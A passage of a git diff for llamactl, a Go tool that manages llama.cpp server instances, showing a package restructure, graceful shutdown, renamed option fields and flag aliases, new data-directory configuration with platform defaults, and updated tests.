-		fmt.Printf("Error creating log directory: %v\n", err)
-		return
+	// Set version information
+	cfg.Version = version
+	cfg.CommitHash = commitHash
+	cfg.BuildTime = buildTime
+
+	// Create the data directory if it doesn't exist
+	if cfg.Instances.AutoCreateDirs {
+		if err := os.MkdirAll(cfg.Instances.InstancesDir, 0755); err != nil {
+			fmt.Printf("Error creating config directory %s: %v\n", cfg.Instances.InstancesDir, err)
+			fmt.Println("Persistence will not be available.")
+		}
+
+		if err := os.MkdirAll(cfg.Instances.LogsDir, 0755); err != nil {
+			fmt.Printf("Error creating log directory %s: %v\n", cfg.Instances.LogsDir, err)
+			fmt.Println("Instance logs will not be available.")
+		}
 	}
 
 	// Initialize the instance manager
-	instanceManager := llamactl.NewInstanceManager(config.Instances)
+	instanceManager := manager.NewInstanceManager(cfg.Instances)
 
 	// Create a new handler with the instance manager
-	handler := llamactl.NewHandler(instanceManager, config)
+	handler := server.NewHandler(instanceManager, cfg)
 
 	// Setup the router with the handler
-	r := llamactl.SetupRouter(handler)
+	r := server.SetupRouter(handler)
 
-	// Start the server with the router
-	fmt.Printf("Starting llamactl on port %d...\n", config.Server.Port)
-	http.ListenAndServe(fmt.Sprintf("%s:%d", config.Server.Host, config.Server.Port), r)
+	// Handle graceful shutdown
+	stop := make(chan os.Signal, 1)
+	signal.Notify(stop, os.Interrupt, syscall.SIGTERM)
+
+	server := http.Server{
+		Addr:    fmt.Sprintf("%s:%d", cfg.Server.Host, cfg.Server.Port),
+		Handler: r,
+	}
+
+	go func() {
+		fmt.Printf("Llamactl server listening on %s:%d\n", cfg.Server.Host, cfg.Server.Port)
+		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
+			fmt.Printf("Error starting server: %v\n", err)
+		}
+	}()
+
+	// Wait for shutdown signal
+	<-stop
+	fmt.Println("Shutting down server...")
+
+	if err := server.Close(); err != nil {
+		fmt.Printf("Error shutting down server: %v\n", err)
+	} else {
+		fmt.Println("Server shut down gracefully.")
+	}
+
+	// Wait for all instances to stop
+	instanceManager.Shutdown()
+
+	fmt.Println("Exiting llamactl.")
 }

pkg/backends/llamacpp/llama.go

@@ -1,4 +1,4 @@
-package llamactl
+package llamacpp
 
 import (
 	"encoding/json"
@@ -15,12 +15,12 @@ type LlamaServerOptions struct {
 	CPUMask                 string   `json:"cpu_mask,omitempty"`
 	CPURange                string   `json:"cpu_range,omitempty"`
 	CPUStrict               int      `json:"cpu_strict,omitempty"`
-	Priority                int      `json:"priority,omitempty"`
+	Prio                    int      `json:"prio,omitempty"`
 	Poll                    int      `json:"poll,omitempty"`
 	CPUMaskBatch            string   `json:"cpu_mask_batch,omitempty"`
 	CPURangeBatch           string   `json:"cpu_range_batch,omitempty"`
 	CPUStrictBatch          int      `json:"cpu_strict_batch,omitempty"`
-	PriorityBatch           int      `json:"priority_batch,omitempty"`
+	PrioBatch               int      `json:"prio_batch,omitempty"`
 	PollBatch               int      `json:"poll_batch,omitempty"`
 	CtxSize                 int      `json:"ctx_size,omitempty"`
 	Predict                 int      `json:"predict,omitempty"`
@@ -83,7 +83,7 @@ type LlamaServerOptions struct {
 	Seed               int      `json:"seed,omitempty"`
 	SamplingSeq        string   `json:"sampling_seq,omitempty"`
 	IgnoreEOS          bool     `json:"ignore_eos,omitempty"`
-	Temperature        float64  `json:"temperature,omitempty"`
+	Temperature        float64  `json:"temp,omitempty"`
 	TopK               int      `json:"top_k,omitempty"`
 	TopP               float64  `json:"top_p,omitempty"`
 	MinP               float64  `json:"min_p,omitempty"`
@@ -110,7 +110,7 @@ type LlamaServerOptions struct {
 	JSONSchema         string   `json:"json_schema,omitempty"`
 	JSONSchemaFile     string   `json:"json_schema_file,omitempty"`
 
-	// Server/Example-specific params
+	// Example-specific params
 	NoContextShift       bool    `json:"no_context_shift,omitempty"`
 	Special              bool    `json:"special,omitempty"`
 	NoWarmup             bool    `json:"no_warmup,omitempty"`
@@ -150,17 +150,15 @@ type LlamaServerOptions struct {
 	NoPrefillAssistant   bool    `json:"no_prefill_assistant,omitempty"`
 	SlotPromptSimilarity float64 `json:"slot_prompt_similarity,omitempty"`
 	LoraInitWithoutApply bool    `json:"lora_init_without_apply,omitempty"`
-
-	// Speculative decoding params
-	DraftMax        int     `json:"draft_max,omitempty"`
-	DraftMin        int     `json:"draft_min,omitempty"`
-	DraftPMin       float64 `json:"draft_p_min,omitempty"`
-	CtxSizeDraft    int     `json:"ctx_size_draft,omitempty"`
-	DeviceDraft     string  `json:"device_draft,omitempty"`
-	GPULayersDraft  int     `json:"gpu_layers_draft,omitempty"`
-	ModelDraft      string  `json:"model_draft,omitempty"`
-	CacheTypeKDraft string  `json:"cache_type_k_draft,omitempty"`
-	CacheTypeVDraft string  `json:"cache_type_v_draft,omitempty"`
+	DraftMax             int     `json:"draft_max,omitempty"`
+	DraftMin             int     `json:"draft_min,omitempty"`
+	DraftPMin            float64 `json:"draft_p_min,omitempty"`
+	CtxSizeDraft         int     `json:"ctx_size_draft,omitempty"`
+	DeviceDraft          string  `json:"device_draft,omitempty"`
+	GPULayersDraft       int     `json:"gpu_layers_draft,omitempty"`
+	ModelDraft           string  `json:"model_draft,omitempty"`
+	CacheTypeKDraft      string  `json:"cache_type_k_draft,omitempty"`
+	CacheTypeVDraft      string  `json:"cache_type_v_draft,omitempty"`
 
 	// Audio/TTS params
 	ModelVocoder      string `json:"model_vocoder,omitempty"`
@@ -199,62 +197,75 @@ func (o *LlamaServerOptions) UnmarshalJSON(data []byte) error {
 
 	// Handle alternative field names
 	fieldMappings := map[string]string{
-		// Official llama-server short forms from the documentation
-		"t":    "threads",                // -t, --threads N
-		"tb":   "threads_batch",          // -tb, --threads-batch N
-		"C":    "cpu_mask",               // -C, --cpu-mask M
-		"Cr":   "cpu_range",              // -Cr, --cpu-range lo-hi
-		"Cb":   "cpu_mask_batch",         // -Cb, --cpu-mask-batch M
-		"Crb":  "cpu_range_batch",        // -Crb, --cpu-range-batch lo-hi
-		"c":    "ctx_size",               // -c, --ctx-size N
-		"n":    "predict",                // -n, --predict, --n-predict N
-		"b":    "batch_size",             // -b, --batch-size N
-		"ub":   "ubatch_size",            // -ub, --ubatch-size N
-		"fa":   "flash_attn",             // -fa, --flash-attn
-		"e":    "escape",                 // -e, --escape
-		"dkvc": "dump_kv_cache",          // -dkvc, --dump-kv-cache
-		"nkvo": "no_kv_offload",          // -nkvo, --no-kv-offload
-		"ctk":  "cache_type_k",           // -ctk, --cache-type-k TYPE
-		"ctv":  "cache_type_v",           // -ctv, --cache-type-v TYPE
-		"dt":   "defrag_thold",           // -dt, --defrag-thold N
-		"np":   "parallel",               // -np, --parallel N
-		"dev":  "device",                 // -dev, --device <dev1,dev2,..>
-		"ot":   "override_tensor",        // --override-tensor, -ot
-		"ngl":  "gpu_layers",             // -ngl, --gpu-layers, --n-gpu-layers N
-		"sm":   "split_mode",             // -sm, --split-mode
-		"ts":   "tensor_split",           // -ts, --tensor-split N0,N1,N2,...
-		"mg":   "main_gpu",               // -mg, --main-gpu INDEX
-		"m":    "model",                  // -m, --model FNAME
-		"mu":   "model_url",              // -mu, --model-url MODEL_URL
-		"hf":   "hf_repo",                // -hf, -hfr, --hf-repo
-		"hfr":  "hf_repo",                // -hf, -hfr, --hf-repo
-		"hfd":  "hf_repo_draft",          // -hfd, -hfrd, --hf-repo-draft
-		"hfrd": "hf_repo_draft",          // -hfd, -hfrd, --hf-repo-draft
-		"hff":  "hf_file",                // -hff, --hf-file FILE
-		"hfv":  "hf_repo_v",              // -hfv, -hfrv, --hf-repo-v
-		"hfrv": "hf_repo_v",              // -hfv, -hfrv, --hf-repo-v
-		"hffv": "hf_file_v",              // -hffv, --hf-file-v FILE
-		"hft":  "hf_token",               // -hft, --hf-token TOKEN
-		"v":    "verbose",                // -v, --verbose, --log-verbose
-		"lv":   "verbosity",              // -lv, --verbosity, --log-verbosity N
-		"s":    "seed",                   // -s, --seed SEED
-		"temp": "temperature",            // --temp N
-		"l":    "logit_bias",             // -l, --logit-bias
-		"j":    "json_schema",            // -j, --json-schema SCHEMA
-		"jf":   "json_schema_file",       // -jf, --json-schema-file FILE
-		"sp":   "special",                // -sp, --special
-		"cb":   "cont_batching",          // -cb, --cont-batching
-		"nocb": "no_cont_batching",       // -nocb, --no-cont-batching
-		"a":    "alias",                  // -a, --alias STRING
-		"to":   "timeout",                // -to, --timeout N
-		"sps":  "slot_prompt_similarity", // -sps, --slot-prompt-similarity
-		"cd":   "ctx_size_draft",         // -cd, --ctx-size-draft N
-		"devd": "device_draft",           // -devd, --device-draft
-		"ngld": "gpu_layers_draft",       // -ngld, --gpu-layers-draft
-		"md":   "model_draft",            // -md, --model-draft FNAME
-		"ctkd": "cache_type_k_draft",     // -ctkd, --cache-type-k-draft TYPE
-		"ctvd": "cache_type_v_draft",     // -ctvd, --cache-type-v-draft TYPE
-		"mv":   "model_vocoder",          // -mv, --model-vocoder FNAME
+		// Common params
+		"t":             "threads",         // -t, --threads N
+		"tb":            "threads_batch",   // -tb, --threads-batch N
+		"C":             "cpu_mask",        // -C, --cpu-mask M
+		"Cr":            "cpu_range",       // -Cr, --cpu-range lo-hi
+		"Cb":            "cpu_mask_batch",  // -Cb, --cpu-mask-batch M
+		"Crb":           "cpu_range_batch", // -Crb, --cpu-range-batch lo-hi
+		"c":             "ctx_size",        // -c, --ctx-size N
+		"n":             "predict",         // -n, --predict N
+		"n-predict":     "predict",         // --n-predict N
+		"b":             "batch_size",      // -b, --batch-size N
+		"ub":            "ubatch_size",     // -ub, --ubatch-size N
+		"fa":            "flash_attn",      // -fa, --flash-attn
+		"e":             "escape",          // -e, --escape
+		"dkvc":          "dump_kv_cache",   // -dkvc, --dump-kv-cache
+		"nkvo":          "no_kv_offload",   // -nkvo, --no-kv-offload
+		"ctk":           "cache_type_k",    // -ctk, --cache-type-k TYPE
+		"ctv":           "cache_type_v",    // -ctv, --cache-type-v TYPE
+		"dt":            "defrag_thold",    // -dt, --defrag-thold N
+		"np":            "parallel",        // -np, --parallel N
+		"dev":           "device",          // -dev, --device <dev1,dev2,..>
+		"ot":            "override_tensor", // --override-tensor, -ot
+		"ngl":           "gpu_layers",      // -ngl, --gpu-layers, --n-gpu-layers N
+		"n-gpu-layers":  "gpu_layers",      // --n-gpu-layers N
+		"sm":            "split_mode",      // -sm, --split-mode
+		"ts":            "tensor_split",    // -ts, --tensor-split N0,N1,N2,...
+		"mg":            "main_gpu",        // -mg, --main-gpu INDEX
+		"m":             "model",           // -m, --model FNAME
+		"mu":            "model_url",       // -mu, --model-url MODEL_URL
+		"hf":            "hf_repo",         // -hf, -hfr, --hf-repo
+		"hfr":           "hf_repo",         // -hf, -hfr, --hf-repo
+		"hfd":           "hf_repo_draft",   // -hfd, -hfrd, --hf-repo-draft
+		"hfrd":          "hf_repo_draft",   // -hfd, -hfrd, --hf-repo-draft
+		"hff":           "hf_file",         // -hff, --hf-file FILE
+		"hfv":           "hf_repo_v",       // -hfv, -hfrv, --hf-repo-v
+		"hfrv":          "hf_repo_v",       // -hfv, -hfrv, --hf-repo-v
+		"hffv":          "hf_file_v",       // -hffv, --hf-file-v FILE
+		"hft":           "hf_token",        // -hft, --hf-token TOKEN
+		"v":             "verbose",         // -v, --verbose, --log-verbose
+		"log-verbose":   "verbose",         // --log-verbose
+		"lv":            "verbosity",       // -lv, --verbosity, --log-verbosity N
+		"log-verbosity": "verbosity",       // --log-verbosity N
+
+		// Sampling params
+		"s":  "seed",             // -s, --seed SEED
+		"l":  "logit_bias",       // -l, --logit-bias
+		"j":  "json_schema",      // -j, --json-schema SCHEMA
+		"jf": "json_schema_file", // -jf, --json-schema-file FILE
+
+		// Example-specific params
+		"sp":                 "special",                // -sp, --special
+		"cb":                 "cont_batching",          // -cb, --cont-batching
+		"nocb":               "no_cont_batching",       // -nocb, --no-cont-batching
+		"a":                  "alias",                  // -a, --alias STRING
+		"embeddings":         "embedding",              // --embeddings
+		"rerank":             "reranking",              // --reranking
+		"to":                 "timeout",                // -to, --timeout N
+		"sps":                "slot_prompt_similarity", // -sps, --slot-prompt-similarity
+		"draft":              "draft-max",              // -draft, --draft-max N
+		"draft-n":            "draft-max",              // --draft-n-max N
+		"draft-n-min":        "draft_min",              // --draft-n-min N
+		"cd":                 "ctx_size_draft",         // -cd, --ctx-size-draft N
+		"devd":               "device_draft",           // -devd, --device-draft
+		"ngld":               "gpu_layers_draft",       // -ngld, --gpu-layers-draft
+		"n-gpu-layers-draft": "gpu_layers_draft",       // --n-gpu-layers-draft N
+		"md":                 "model_draft",            // -md, --model-draft FNAME
+		"ctkd":               "cache_type_k_draft",     // -ctkd, --cache-type-k-draft TYPE
+		"ctvd":               "cache_type_v_draft",     // -ctvd, --cache-type-v-draft TYPE
+		"mv":                 "model_vocoder",          // -mv, --model-vocoder FNAME
 	}
 
 	// Process alternative field names

pkg/backends/llamacpp/llama_test.go

@@ -1,17 +1,16 @@
-package llamactl_test
+package llamacpp_test
 
 import (
 	"encoding/json"
 	"fmt"
+	"llamactl/pkg/backends/llamacpp"
 	"reflect"
 	"slices"
 	"testing"
-
-	llamactl "llamactl/pkg"
 )
 
 func TestBuildCommandArgs_BasicFields(t *testing.T) {
-	options := llamactl.LlamaServerOptions{
+	options := llamacpp.LlamaServerOptions{
 		Model:     "/path/to/model.gguf",
 		Port:      8080,
 		Host:      "localhost",
@@ -46,27 +45,27 @@ func TestBuildCommandArgs_BasicFields(t *testing.T) {
 func TestBuildCommandArgs_BooleanFields(t *testing.T) {
 	tests := []struct {
 		name     string
-		options  llamactl.LlamaServerOptions
+		options  llamacpp.LlamaServerOptions
 		expected []string
 		excluded []string
 	}{
 		{
 			name: "verbose true",
-			options: llamactl.LlamaServerOptions{
+			options: llamacpp.LlamaServerOptions{
 				Verbose: true,
 			},
 			expected: []string{"--verbose"},
 		},
 		{
 			name: "verbose false",
-			options: llamactl.LlamaServerOptions{
+			options: llamacpp.LlamaServerOptions{
 				Verbose: false,
 			},
 			excluded: []string{"--verbose"},
 		},
 		{
 			name: "multiple booleans",
-			options: llamactl.LlamaServerOptions{
+			options: llamacpp.LlamaServerOptions{
 				Verbose:   true,
 				FlashAttn: true,
 				Mlock:     false,
@@ -97,7 +96,7 @@ func TestBuildCommandArgs_BooleanFields(t *testing.T) {
 }
 
 func TestBuildCommandArgs_NumericFields(t *testing.T) {
-	options := llamactl.LlamaServerOptions{
+	options := llamacpp.LlamaServerOptions{
 		Port:        8080,
 		Threads:     4,
 		CtxSize:     2048,
@@ -110,13 +109,13 @@ func TestBuildCommandArgs_NumericFields(t *testing.T) {
 	args := options.BuildCommandArgs()
 
 	expectedPairs := map[string]string{
-		"--port":        "8080",
-		"--threads":     "4",
-		"--ctx-size":    "2048",
-		"--gpu-layers":  "16",
-		"--temperature": "0.7",
-		"--top-k":       "40",
-		"--top-p":       "0.9",
+		"--port":       "8080",
+		"--threads":    "4",
+		"--ctx-size":   "2048",
+		"--gpu-layers": "16",
+		"--temp":       "0.7",
+		"--top-k":      "40",
+		"--top-p":      "0.9",
 	}
 
 	for flag, expectedValue := range expectedPairs {
@@ -127,7 +126,7 @@ func TestBuildCommandArgs_NumericFields(t *testing.T) {
 }
 
 func TestBuildCommandArgs_ZeroValues(t *testing.T) {
-	options := llamactl.LlamaServerOptions{
+	options := llamacpp.LlamaServerOptions{
 		Port:        0,     // Should be excluded
 		Threads:     0,     // Should be excluded
 		Temperature: 0,     // Should be excluded
@@ -154,7 +153,7 @@ func TestBuildCommandArgs_ZeroValues(t *testing.T) {
 }
 
 func TestBuildCommandArgs_ArrayFields(t *testing.T) {
-	options := llamactl.LlamaServerOptions{
+	options := llamacpp.LlamaServerOptions{
 		Lora:               []string{"adapter1.bin", "adapter2.bin"},
 		OverrideTensor:     []string{"tensor1", "tensor2", "tensor3"},
 		DrySequenceBreaker: []string{".", "!", "?"},
@@ -179,7 +178,7 @@ func TestBuildCommandArgs_ArrayFields(t *testing.T) {
 }
 
 func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
-	options := llamactl.LlamaServerOptions{
+	options := llamacpp.LlamaServerOptions{
 		Lora:           []string{}, // Empty array should not generate args
 		OverrideTensor: []string{}, // Empty array should not generate args
 	}
@@ -196,7 +195,7 @@ func TestBuildCommandArgs_EmptyArrays(t *testing.T) {
 
 func TestBuildCommandArgs_FieldNameConversion(t *testing.T) {
 	// Test snake_case to kebab-case conversion
-	options := llamactl.LlamaServerOptions{
+	options := llamacpp.LlamaServerOptions{
 		CtxSize:      4096,
 		GPULayers:    32,
 		ThreadsBatch: 2,
@@ -232,10 +231,10 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) {
 		"verbose": true,
 		"ctx_size": 4096,
 		"gpu_layers": 32,
-		"temperature": 0.7
+		"temp": 0.7
 	}`
 
-	var options llamactl.LlamaServerOptions
+	var options llamacpp.LlamaServerOptions
 	err := json.Unmarshal([]byte(jsonData), &options)
 	if err != nil {
 		t.Fatalf("Unmarshal failed: %v", err)
@@ -268,12 +267,12 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 	tests := []struct {
 		name     string
 		jsonData string
-		checkFn  func(llamactl.LlamaServerOptions) error
+		checkFn  func(llamacpp.LlamaServerOptions) error
 	}{
 		{
 			name:     "threads alternatives",
 			jsonData: `{"t": 4, "tb": 2}`,
-			checkFn: func(opts llamactl.LlamaServerOptions) error {
+			checkFn: func(opts llamacpp.LlamaServerOptions) error {
 				if opts.Threads != 4 {
 					return fmt.Errorf("expected threads 4, got %d", opts.Threads)
 				}
@@ -286,7 +285,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "context size alternatives",
 			jsonData: `{"c": 2048}`,
-			checkFn: func(opts llamactl.LlamaServerOptions) error {
+			checkFn: func(opts llamacpp.LlamaServerOptions) error {
 				if opts.CtxSize != 2048 {
 					return fmt.Errorf("expected ctx_size 4096, got %d", opts.CtxSize)
 				}
@@ -296,7 +295,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "gpu layers alternatives",
 			jsonData: `{"ngl": 16}`,
-			checkFn: func(opts llamactl.LlamaServerOptions) error {
+			checkFn: func(opts llamacpp.LlamaServerOptions) error {
 				if opts.GPULayers != 16 {
 					return fmt.Errorf("expected gpu_layers 32, got %d", opts.GPULayers)
 				}
@@ -306,7 +305,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "model alternatives",
 			jsonData: `{"m": "/path/model.gguf"}`,
-			checkFn: func(opts llamactl.LlamaServerOptions) error {
+			checkFn: func(opts llamacpp.LlamaServerOptions) error {
 				if opts.Model != "/path/model.gguf" {
 					return fmt.Errorf("expected model '/path/model.gguf', got %q", opts.Model)
 				}
@@ -316,7 +315,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "temperature alternatives",
 			jsonData: `{"temp": 0.8}`,
-			checkFn: func(opts llamactl.LlamaServerOptions) error {
+			checkFn: func(opts llamacpp.LlamaServerOptions) error {
 				if opts.Temperature != 0.8 {
 					return fmt.Errorf("expected temperature 0.8, got %f", opts.Temperature)
 				}
@@ -327,7 +326,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			var options llamactl.LlamaServerOptions
+			var options llamacpp.LlamaServerOptions
 			err := json.Unmarshal([]byte(tt.jsonData), &options)
 			if err != nil {
 				t.Fatalf("Unmarshal failed: %v", err)
@@ -343,7 +342,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 func TestUnmarshalJSON_InvalidJSON(t *testing.T) {
 	invalidJSON := `{"port": "not-a-number", "invalid": syntax}`
 
-	var options llamactl.LlamaServerOptions
+	var options llamacpp.LlamaServerOptions
 	err := json.Unmarshal([]byte(invalidJSON), &options)
 	if err == nil {
 		t.Error("Expected error for invalid JSON")
@@ -357,7 +356,7 @@ func TestUnmarshalJSON_ArrayFields(t *testing.T) {
 		"dry_sequence_breaker": [".", "!", "?"]
 	}`
 
-	var options llamactl.LlamaServerOptions
+	var options llamacpp.LlamaServerOptions
 	err := json.Unmarshal([]byte(jsonData), &options)
 	if err != nil {
 		t.Fatalf("Unmarshal failed: %v", err)

pkg/config/config.go

@@ -1,4 +1,4 @@
-package llamactl
+package config
 
 import (
 	"os"
@@ -10,11 +10,14 @@ import (
 	"gopkg.in/yaml.v3"
 )
 
-// Config represents the configuration for llamactl
-type Config struct {
-	Server    ServerConfig    `yaml:"server"`
-	Instances InstancesConfig `yaml:"instances"`
-	Auth      AuthConfig      `yaml:"auth"`
+// AppConfig represents the configuration for llamactl
+type AppConfig struct {
+	Server     ServerConfig    `yaml:"server"`
+	Instances  InstancesConfig `yaml:"instances"`
+	Auth       AuthConfig      `yaml:"auth"`
+	Version    string          `yaml:"-"`
+	CommitHash string          `yaml:"-"`
+	BuildTime  string          `yaml:"-"`
 }
 
 // ServerConfig contains HTTP server configuration
@@ -37,8 +40,17 @@ type InstancesConfig struct {
 	// Port range for instances (e.g., 8000,9000)
 	PortRange [2]int `yaml:"port_range"`
 
-	// Directory where instance logs will be stored
-	LogDirectory string `yaml:"log_directory"`
+	// Directory where all llamactl data will be stored (instances.json, logs, etc.)
+	DataDir string `yaml:"data_dir"`
+
+	// Instance config directory override
+	InstancesDir string `yaml:"configs_dir"`
+
+	// Logs directory override
+	LogsDir string `yaml:"logs_dir"`
+
+	// Automatically create the data directory if it doesn't exist
+	AutoCreateDirs bool `yaml:"auto_create_dirs"`
 
 	// Maximum number of instances that can be created
 	MaxInstances int `yaml:"max_instances"`
@@ -54,6 +66,15 @@ type InstancesConfig struct {
 
 	// Default restart delay for new instances (in seconds)
 	DefaultRestartDelay int `yaml:"default_restart_delay"`
+
+	// Default on-demand start setting for new instances
+	DefaultOnDemandStart bool `yaml:"default_on_demand_start"`
+
+	// How long to wait for an instance to start on demand (in seconds)
+	OnDemandStartTimeout int `yaml:"on_demand_start_timeout,omitempty"`
+
+	// Interval for checking instance timeouts (in minutes)
+	TimeoutCheckInterval int `yaml:"timeout_check_interval"`
 }
 
 // AuthConfig contains authentication settings
@@ -76,9 +97,9 @@ type AuthConfig struct {
 // 1. Hardcoded defaults
 // 2. Config file
 // 3. Environment variables
-func LoadConfig(configPath string) (Config, error) {
+func LoadConfig(configPath string) (AppConfig, error) {
 	// 1. Start with defaults
-	cfg := Config{
+	cfg := AppConfig{
 		Server: ServerConfig{
 			Host:           "0.0.0.0",
 			Port:           8080,
@@ -86,13 +107,19 @@ func LoadConfig(configPath string) (Config, error) {
 			EnableSwagger:  false,
 		},
 		Instances: InstancesConfig{
-			PortRange:           [2]int{8000, 9000},
-			LogDirectory:        "/tmp/llamactl",
-			MaxInstances:        -1, // -1 means unlimited
-			LlamaExecutable:     "llama-server",
-			DefaultAutoRestart:  true,
-			DefaultMaxRestarts:  3,
-			DefaultRestartDelay: 5,
+			PortRange:            [2]int{8000, 9000},
+			DataDir:              getDefaultDataDirectory(),
+			InstancesDir:         filepath.Join(getDefaultDataDirectory(), "instances"),
+			LogsDir:              filepath.Join(getDefaultDataDirectory(), "logs"),
+			AutoCreateDirs:       true,
+			MaxInstances:         -1, // -1 means unlimited
+			LlamaExecutable:      "llama-server",
+			DefaultAutoRestart:   true,
+			DefaultMaxRestarts:   3,
+			DefaultRestartDelay:  5,
+			DefaultOnDemandStart: true,
+			OnDemandStartTimeout: 120, // 2 minutes
+			TimeoutCheckInterval: 5,   // Check timeouts every 5 minutes
 		},
 		Auth: AuthConfig{
 			RequireInferenceAuth:  true,
@@ -114,7 +141,7 @@ func LoadConfig(configPath string) (Config, error) {
 }
 
 // loadConfigFile attempts to load config from file with fallback locations
-func loadConfigFile(cfg *Config, configPath string) error {
+func loadConfigFile(cfg *AppConfig, configPath string) error {
 	var configLocations []string
 
 	// If specific config path provided, use only that
@@ -138,7 +165,7 @@ func loadConfigFile(cfg *Config, configPath string) error {
 }
 
 // loadEnvVars overrides config with environment variables
-func loadEnvVars(cfg *Config) {
+func loadEnvVars(cfg *AppConfig) {
 	// Server config
 	if host := os.Getenv("LLAMACTL_HOST"); host != "" {
 		cfg.Server.Host = host
@@ -157,15 +184,28 @@ func loadEnvVars(cfg *Config) {
 		}
 	}
 
+	// Data config
+	if dataDir := os.Getenv("LLAMACTL_DATA_DIRECTORY"); dataDir != "" {
+		cfg.Instances.DataDir = dataDir
+	}
+	if instancesDir := os.Getenv("LLAMACTL_INSTANCES_DIR"); instancesDir != "" {
+		cfg.Instances.InstancesDir = instancesDir
+	}
+	if logsDir := os.Getenv("LLAMACTL_LOGS_DIR"); logsDir != "" {
+		cfg.Instances.LogsDir = logsDir
+	}
+	if autoCreate := os.Getenv("LLAMACTL_AUTO_CREATE_DATA_DIR"); autoCreate != "" {
+		if b, err := strconv.ParseBool(autoCreate); err == nil {
+			cfg.Instances.AutoCreateDirs = b
+		}
+	}
+
 	// Instance config
 	if portRange := os.Getenv("LLAMACTL_INSTANCE_PORT_RANGE"); portRange != "" {
 		if ports := ParsePortRange(portRange); ports != [2]int{0, 0} {
 			cfg.Instances.PortRange = ports
 		}
 	}
-	if logDir := os.Getenv("LLAMACTL_LOG_DIR"); logDir != "" {
-		cfg.Instances.LogDirectory = logDir
-	}
 	if maxInstances := os.Getenv("LLAMACTL_MAX_INSTANCES"); maxInstances != "" {
 		if m, err := strconv.Atoi(maxInstances); err == nil {
 			cfg.Instances.MaxInstances = m
@@ -189,6 +229,21 @@ func loadEnvVars(cfg *Config) {
 			cfg.Instances.DefaultRestartDelay = seconds
 		}
 	}
+	if onDemandStart := os.Getenv("LLAMACTL_DEFAULT_ON_DEMAND_START"); onDemandStart != "" {
+		if b, err := strconv.ParseBool(onDemandStart); err == nil {
+			cfg.Instances.DefaultOnDemandStart = b
+		}
+	}
+	if onDemandTimeout := os.Getenv("LLAMACTL_ON_DEMAND_START_TIMEOUT"); onDemandTimeout != "" {
+		if seconds, err := strconv.Atoi(onDemandTimeout); err == nil {
+			cfg.Instances.OnDemandStartTimeout = seconds
+		}
+	}
+	if timeoutCheckInterval := os.Getenv("LLAMACTL_TIMEOUT_CHECK_INTERVAL"); timeoutCheckInterval != "" {
+		if minutes, err := strconv.Atoi(timeoutCheckInterval); err == nil {
+			cfg.Instances.TimeoutCheckInterval = minutes
+		}
+	}
 	// Auth config
 	if requireInferenceAuth := os.Getenv("LLAMACTL_REQUIRE_INFERENCE_AUTH"); requireInferenceAuth != "" {
 		if b, err := strconv.ParseBool(requireInferenceAuth); err == nil {
@@ -231,64 +286,63 @@ func ParsePortRange(s string) [2]int {
 	return [2]int{0, 0} // Invalid format
 }
 
+// getDefaultDataDirectory returns platform-specific default data directory
+func getDefaultDataDirectory() string {
+	switch runtime.GOOS {
+	case "windows":
+		// Try PROGRAMDATA first (system-wide), fallback to LOCALAPPDATA (user)
+		if programData := os.Getenv("PROGRAMDATA"); programData != "" {
+			return filepath.Join(programData, "llamactl")
+		}
+		if localAppData := os.Getenv("LOCALAPPDATA"); localAppData != "" {
+			return filepath.Join(localAppData, "llamactl")
+		}
+		return "C:\\ProgramData\\llamactl" // Final fallback
+
+	case "darwin":
+		// For macOS, use user's Application Support directory
+		if homeDir, _ := os.UserHomeDir(); homeDir != "" {
+			return filepath.Join(homeDir, "Library", "Application Support", "llamactl")
+		}
+		return "/usr/local/var/llamactl" // Fallback
+
+	default:
+		// Linux and other Unix-like systems
+		if homeDir, _ := os.UserHomeDir(); homeDir != "" {
+			return filepath.Join(homeDir, ".local", "share", "llamactl")
+		}
+		return "/var/lib/llamactl" // Final fallback
+	}
+}
+
 // getDefaultConfigLocations returns platform-specific config file locations
 func getDefaultConfigLocations() []string {
 	var locations []string
-
-	// Current directory (cross-platform)
-	locations = append(locations,
-		"./llamactl.yaml",
-		"./config.yaml",
-	)
-
 	homeDir, _ := os.UserHomeDir()
 
 	switch runtime.GOOS {
 	case "windows":
-		// Windows: Use APPDATA and ProgramData
+		// Windows: Use APPDATA if available, else user home, fallback to ProgramData
 		if appData := os.Getenv("APPDATA"); appData != "" {
 			locations = append(locations, filepath.Join(appData, "llamactl", "config.yaml"))
-		}
-		if programData := os.Getenv("PROGRAMDATA"); programData != "" {
-			locations = append(locations, filepath.Join(programData, "llamactl", "config.yaml"))
-		}
-		// Fallback to user home
-		if homeDir != "" {
+		} else if homeDir != "" {
 			locations = append(locations, filepath.Join(homeDir, "llamactl", "config.yaml"))
 		}
+		locations = append(locations, filepath.Join(os.Getenv("PROGRAMDATA"), "llamactl", "config.yaml"))
 
 	case "darwin":
-		// macOS: Use proper Application Support directories
+		// macOS: Use Application Support in user home, fallback to /Library/Application Support
 		if homeDir != "" {
-			locations = append(locations,
-				filepath.Join(homeDir, "Library", "Application Support", "llamactl", "config.yaml"),
-				filepath.Join(homeDir, ".config", "llamactl", "config.yaml"), // XDG fallback
-			)
+			locations = append(locations, filepath.Join(homeDir, "Library", "Application Support", "llamactl", "config.yaml"))
 		}
 		locations = append(locations, "/Library/Application Support/llamactl/config.yaml")
-		locations = append(locations, "/etc/llamactl/config.yaml") // Unix fallback
 
 	default:
-		// User config: $XDG_CONFIG_HOME/llamactl/config.yaml or ~/.config/llamactl/config.yaml
-		configHome := os.Getenv("XDG_CONFIG_HOME")
-		if configHome == "" && homeDir != "" {
-			configHome = filepath.Join(homeDir, ".config")
+		// Linux/Unix: Use ~/.config/llamactl/config.yaml, fallback to /etc/llamactl/config.yaml
+		if homeDir != "" {
+			locations = append(locations, filepath.Join(homeDir, ".config", "llamactl", "config.yaml"))
 		}
-		if configHome != "" {
